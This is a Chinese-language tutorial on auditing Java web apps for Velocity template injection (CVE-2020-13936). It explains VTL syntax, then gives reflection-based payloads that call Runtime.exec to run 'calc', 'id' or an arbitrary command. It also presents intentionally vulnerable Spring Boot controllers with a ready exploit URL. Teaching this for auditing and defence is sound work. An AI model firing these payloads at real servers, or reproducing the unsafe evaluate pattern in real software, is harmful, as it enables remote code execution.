ARTICLE · 1384219
8【JavaWeb 审计】之模板注入漏洞(Velocity)
一、Java 模板引擎与漏洞
这一章先回答两个最基础的问题:模板引擎是做什么用的?它为什么会和安全漏洞扯上关系?把这两点弄明白,后面的内容就容易理解了。
1、模板引擎介绍
目前Java 常见的模板引擎有 FreeMarker、Velocity 和 Thymeleaf。
模板引擎,其实就是一个"根据模板和数据生成最终文本"的工具,目的是让页面显示和数据内容分开。可以用一个生活化的例子来理解:模板就像一张填空试卷,数据就是要填进去的答案,模板引擎则负责把答案自动填到对应的空格里,最后生成一张完整的网页。我们都了解JSP,它其实也是一种模板引擎,通过后端向前端插入数据来实现动态网页的效果。
在JSP 之前,人们使用 servlet 来实现动态网页效果。servlet 是 Java Web 最底层的组件,但直接用它生成网页非常繁琐——想把一个页面返回给浏览器,得用 out.write() 一行一行地把 HTML 代码拼接出来,比如:
out.write("<html>\n") out.write("<head>"\n) out.write("<h1>hello servlet</h1>\n") out.write("</head>\n") out.write("</html>\n") |
可以看到,连一个最简单的页面都要写这么多行输出语句,既累赘又容易出错。虽然JSP 也是模板引擎的一种,但因为它本质上是 servlet,可以直接访问底层的 servlet API,还能在页面里编写后端代码逻辑,导致前端和后端纠缠在一起,违背了面向对象"低耦合、高内聚"的设计思想,维护起来也越来越繁琐。因此经过演变,加上优秀的模板引擎不断出现,JSP 逐渐被替代,这其中就包括 FreeMarker、Velocity 和 Thymeleaf 等。
(延伸阅读:JSP 为什么被淘汰了?https://www.zhihu.com/question/328713931)
言归正传,用大白话再解释一遍模板引擎:比如前端做好一个展示人员信息的模板页面,在姓名、性别、年龄这些位置,用模板引擎规定的"变量符 / 指令 / 插值"做占位标记,后端查询回来的数据就能动态地填进这些占位处。模板引擎的核心价值就在于——同一个模板,填入不同的数据,就能生成不同的页面。
2、模板注入漏洞
SSTI(Server-Side Template Injection,服务器端模板注入),通俗地说,就是模板引擎在解析模板时,如果代码写得不够严谨,可能把攻击者提交的恶意内容当成了模板的一部分来执行。攻击者可以借此在服务器上执行任意代码,造成严重的安全威胁。
简单讲:模板引擎渲染模板时,如果模板里混进了恶意代码,这些代码就会在渲染过程中被执行。不同的模板引擎触发漏洞的场景各不相同,下面我们会针对FreeMarker、Velocity 和 Thymeleaf 这三款逐一讲解。
这里要先建立一个关键认知:模板注入漏洞是依附于模板引擎存在的。项目里如果没有引入相关的模板引擎组件,基本就不会有这类漏洞。
本期我们聚焦Velocity 模板引擎。
二、Velocity 模板引擎
这一章先认识Velocity 是什么、怎么用,再系统学习它的模板语言(VTL)语法——尤其是最后的攻击载荷示例,正是理解后面漏洞的基础。不用急着记语法,先理解每一类语句解决什么问题即可。
1、什么是 Velocity
官方网址:https://velocity.apache.org/
Velocity 是一个基于 Java 的模板引擎。它允许任何人使用简单但功能强大的模板语言,来引用 Java 代码中定义的对象。
当Velocity 用于 Web 开发时,网页设计师可以与 Java 程序员并行工作,按照 MVC(模型-视图-控制器)模型开发网站。这意味着设计师可以专注于做出外观良好的页面,程序员则专注于编写代码。Velocity 把 Java 代码与网页分离,让网站在整个生命周期内更容易维护,也提供了 JSP 或 PHP 之外的另一种选择。
Velocity 的能力远不止 Web 领域:例如它可以从模板生成 SQL、PostScript 和 XML;可以作为一个独立的工具来生成源代码和报告,也可以作为其他系统的集成组件。比如它为各种 Web 框架提供模板服务,让这些框架具备视图引擎,从而按真正的 MVC 模型开发 Web 应用。
补充一点背景:Velocity 是 Apache 软件基金会(Apache Software Foundation)的项目,负责维护与 Apache Velocity Engine 相关的开源软件,所有软件都在 Apache 许可证下免费提供。
2、Velocity 基础
以下内容学习整理自官方用户手册:https://velocity.apache.org/engine/devel/user-guide.html
2.1、Velocity 模板页面
一个基础的、基于VTL 的模板文件页面如下所示。先大致看一下它的结构,注意那些以 $和#开头的特殊标记——它们就是后面要讲的"引用"和"指令":
<html> <body> Hello $customer.Name! <table> #foreach( $mud in $mudsOnSpecial ) #if ( $customer.hasPurchased($mud) ) <tr> <td> $flogger.getPromo( $mud ) </td> </tr> </table> </body> </html> |
2.2、Velocity 模板语言(VTL,Velocity Template Language)
VTL 通过"引用"的方式把动态内容嵌入网页,变量就是其中一种引用类型——它可以引用 Java 代码中定义的内容,也可以从页面的 VTL 语句里取值。下面是一个能嵌入 HTML 文档的 VTL 语句示例:
#set( $a = "Velocity" ) |
和所有VTL 语句一样,它以 #字符开头并包含一个指令(这里是set)。上面的例子中,变量名是 $a,值是Velocity。这个变量和所有引用一样,都以 $字符开头;字符串值始终用引号括起来,可以是单引号或双引号。
2.3、变量
在Velocity 模板语言中,变量用 $符号来引用,例如$variable_name。变量可以引用Java 对象、Map 中的键值对以及其他数据类型。比如上面示例模板中的 $mud,就能获取通过上下文和后端传递进来的值。变量的写法示例:
$foo $mudSlinger $mud_slinger $mudSlinger1 |
2.4、方法
方法在Java 代码中定义,能够执行一些有用的操作。方法引用由"$ 符号 + VTL 标识符 + 方法体"组成:方法体包含一个标识符、一个左括号 (、可选的参数列表和一个右括号)。以下是VTL 中有效的方法引用示例:
$customer.getAddress() $purchase.getTotal() $page.setTitle( "My Home Page" ) $person.setAttributes( ["Strange", "Weird", "Excited"] ) |
2.5、set 指令
#set指令用于设置引用的值——把一个值赋给变量引用或属性引用,赋值动作发生在括号中,就像下面这样:
#set( $primate = "monkey" ) #set( $customer.Behavior = $primate ) |
赋值语句的左侧必须是变量引用或属性引用;右侧可以是以下类型之一:变量引用、字符串字面量、属性引用、方法引用、数字字面量、ArrayList、Map。比如以下示例:
#set( $monkey = $bill ) ## variable reference #set( $monkey.Friend = "monica" ) ## string literal #set( $monkey.Blame = $whitehouse.Leak ) ## property reference #set( $monkey.Plan = $spindoctor.weave($web) ) ## method reference #set( $monkey.Number = 123 ) ## number literal #set( $monkey.Say = ["Not", $my, "fault"] ) ## ArrayList #set( $monkey.Map = {"banana" : "good", "roast beef" : "bad"}) ## Map |
2.6、set 指令攻击语句示例
理解了#set的赋值能力后,下面看几个常见的攻击语句示例。它们的核心思路都是:利用Velocity 能调用 Java 对象方法的特性,通过反射拿到 Runtime类,进而执行系统命令。
##### 2.6.1、示例一
载荷如下:
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc") |
逐段看懂它:首先定义了一个名为$e的变量并赋值为字符串"e"。接着用 Java 的反射机制,获取运行时类 java.lang.Runtime,调用它的getRuntime()方法,再用exec()方法执行操作系统命令"calc"——也就是打开 Windows 计算器程序。
##### 2.6.2、示例二
载荷如下:
#set($x='')## #set($rt = $x.class.forName('java.lang.Runtime'))## #set($chr = $x.class.forName('java.lang.Character'))## #set($str = $x.class.forName('java.lang.String'))## #set($ex=$rt.getRuntime().exec('id'))## $ex.waitFor() #set($out=$ex.getInputStream())## #foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end |
逐段看懂它:
l第一行定义了一个空字符串变量$x。
l接下来三行通过反射获取三个Java 类:java.lang.Runtime、java.lang.Character和java.lang.String,用于在运行时执行命令和操作字符串。
l再下一行用反射执行系统命令id,结果存进$ex,然后调用$ex.waitFor()等待命令执行完毕。
l接着获取$ex的输出流并存进$out。
l最后用一个foreach 循环遍历 $out的所有可用字节并转成字符输出——效果就是把 id命令的结果作为字符串打印出来。
##### 2.6.3、示例三
载荷如下:
#set ($e="exp") #set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd)) #set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a)) #set($sc = $e.getClass().forName("java.util.Scanner")) #set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream"))) #set($scan=$constructor.newInstance($input).useDelimiter("\\A")) #if($scan.hasNext()) $scan.next() |
逐段看懂它:
l首先创建变量$e并设置为字符串"exp"。
l接着调用Java 反射 API 获取 Runtime 类的方法,用 exec方法执行$cmd变量中存储的命令,命令输出保存在变量$input中。
l然后用反射获取Scanner 类及其构造函数,并用 $input创建Scanner 对象,通过 useDelimiter设置输入流的分隔符。
l最后检查Scanner 对象是否有下一个输入行,有就输出该行,否则什么也不做。
三、Velocity 模板注入漏洞
本节介绍Velocity 模板注入对应的 CVE 漏洞、源码示例与修复方案。
1、漏洞释义
Velocity 模板注入漏洞即有 CVE-2020-13936 这个漏洞。
官方介绍:https://velocity.apache.org/news.html#CVE-2020-13936
能够修改Velocity 模板的攻击者可能会以与运行 Servlet 容器的帐户相同的权限执行任意Java代码或运行任意系统命令。这适用于允许不受信任的用户上传/修改运行 Apache Velocity Engine 版本高达 2.2 的 Velocity 模板的应用程序。
简单说,Velocity 小于等于 2.2 版本存在模板注入漏洞。
在2.0 版本,Apache Velocity 改名为了 Apache Velocity Engine,在 MAVEN 仓库下所示:

Maven 仓库中的 Velocity 版本
2、漏洞源码示例
老规矩,创建一个SpringBoot 项目,名为 VelocitySSTI,默认依赖选择如下图所示:

新建VelocitySSTI 项目
选择默认依赖
成功创建项目后,在pom.xml 文件中引入 Velocity 依赖,我们选择引入 1.7 版本,如下图所示:
<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity --> <dependency> <groupId>org.apache.velocity</groupId> <artifactId>velocity</artifactId> <version>1.7</version> </dependency> |

pom.xml 引入 Velocity 依赖
2.1、evaluate 触发
在Velocity 模板引擎中, evaluate 方法用于将 Velocity 模板字符串与上下文数据进行组合并生成最终结果。
evaluate 方法的基本语法如下:
public boolean evaluate(Writer writer, Context context, String logTag, String instring) throws ParseErrorException, MethodInvocationException, ResourceNotFoundException, IOException |
其中,参数含义如下:
lwriter :输出结果的写入器,用于将生成的结果写入到指定位置。
lcontext :上下文数据,即用于替换模板中占位符的数据。
llogTag :日志标签,用于在日志中区分不同的 evaluate 调用。
linstring :待处理的 Velocity 模板字符串。
evaluate 方法返回一个布尔值,表示是否成功执行了模板渲染。如果返回 false ,则表示发生了错误,可以通过查看日志来获取更多信息。
在src/main/java/com/example/velocityssti ,创建一个名为 VelocityEvaluate 的 Java Class,并键入以下代码,最终如下图所示:
package com.example.velocityssti; import org.apache.velocity.VelocityContext; import org.apache.velocity.app.Velocity; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import java.io.StringWriter; /** * 编号7089 * @author powerful */ @Controller public class VelocityEvaluate { //http://localhost:8080/velocityevaluate?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22) @GetMapping("/velocityevaluate") public void velocity(String template) { Velocity.init(); VelocityContext context = new VelocityContext(); context.put("author", "powerful"); StringWriter swOut = new StringWriter(); Velocity.evaluate(context, swOut, "test", template); } } |
这段代码是一个Java Spring Boot Web应用程序中的一个控制器方法,使用了 Velocity 模板引擎库来解析并渲染模板。该方法使用 HTTP GET 请求,映射到 "/velocityevaluate" 路径。
具体来说,该方法接受一个名为"template" 的字符串参数,表示 Velocity 模板的内容。该方法初始化 Velocity 引擎,创建一个 Velocity 上下文对象,将一个名为 "author" 的变量添加到上下文中,并将上下文对象和一个名为 "test" 的模板名称传递给 Velocity.evaluate() 方法,该方法使用模板和上下文对象生成输出,将结果写入一个 StringWriter 对象中。

VelocityEvaluate 代码
启动运行项目,访问浏览器访问http://127.0.0.1:8080/velocityevaluate?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)
即可在Windows 环境下触发弹出计算器操作。
2.2、merge 触发
在Velocity 模板引擎中, merge 方法用于将 Velocity 模板字符串与上下文数据进行组合并生成最终结果。
merge 方法的基本语法如下:
public void merge(Template template, Context context, Writer writer) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException, IOException |
其中,参数含义如下:
ltemplate :待处理的 Velocity 模板。
lcontext :上下文数据,即用于替换模板中占位符的数据。
lwriter :输出结果的写入器,用于将生成的结果写入到指定位置。
在src/main/java/com/example/velocityssti ,创建一个名为 VelocityMerge 的 Java Class,并键入以下代码,最终如下图所示:
代码引用自:https://github.com/nth347/Java-SSTI-demo/tree/e2a5b931ac9e0c777a4a1ea3e3856ba872c49161
package com.example.velocityssti; import org.apache.velocity.VelocityContext; import org.apache.velocity.app.Velocity; import org.apache.velocity.runtime.RuntimeServices; import org.apache.velocity.runtime.RuntimeSingleton; import org.apache.velocity.runtime.parser.node.SimpleNode; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import java.io.IOException; import java.io.StringReader; import java.io.StringWriter; import java.nio.file.Files; import java.nio.file.Paths; import java.text.ParseException; /** * 编号7089 * @author powerful */ @Controller public class VelocityMerge { @RequestMapping("/velocitymerge") @ResponseBody public String velocity2(@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException { String templateString = new String(Files.readAllBytes(Paths.get("C:\\Users\\powerful\\Desktop\\template.vm"))); templateString = templateString.replace("<USERNAME>", username); StringReader reader = new StringReader(templateString); VelocityContext ctx = new VelocityContext(); ctx.put("name", "power7089"); ctx.put("phone", "70897089"); ctx.put("email", "power7089@163.com"); StringWriter out = new StringWriter(); org.apache.velocity.Template template = new org.apache.velocity.Template(); RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices(); SimpleNode node = runtimeServices.parse(reader, String.valueOf(template)); template.setRuntimeServices(runtimeServices); template.setData(node); template.initDocument(); template.merge(ctx, out); return out.toString(); } } |
从指定路径读取模板文件,如果模板文件中带有攻击载荷语句,即可通过template.merge 渲染触发模板注入漏洞。

VelocityMerge 代码
上图,在第33 行处,指定了模板文件的绝对路径地址,假设此模板文件我们可控,我在该文件下键入攻击载荷语句,如下所示:
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc") |

template.vm 中的攻击载荷
然后,启动项目,浏览器访问:http://127.0.0.1:8080/velocitymerge ,即可在 Windows 环境下触发弹出计算器操作。
最后。
merge() 方法是将模板和数据合并,生成一个文本输出。它需要一个 VelocityContext 对象作为参数,用于存储数据,并将数据与模板合并,生成输出。
evaluate() 方法也是将模板和数据合并,生成一个文本输出,但是它返回的是一个布尔值,表示模板是否成功执行。evaluate() 方法通常用于执行带有条件的模板。
3、Velocity 模板注入漏洞修复
目前官方已在新版本中修复了该漏洞,请受影响的用户升级至安全版本:
https://velocity.apache.org/download.cgi















































































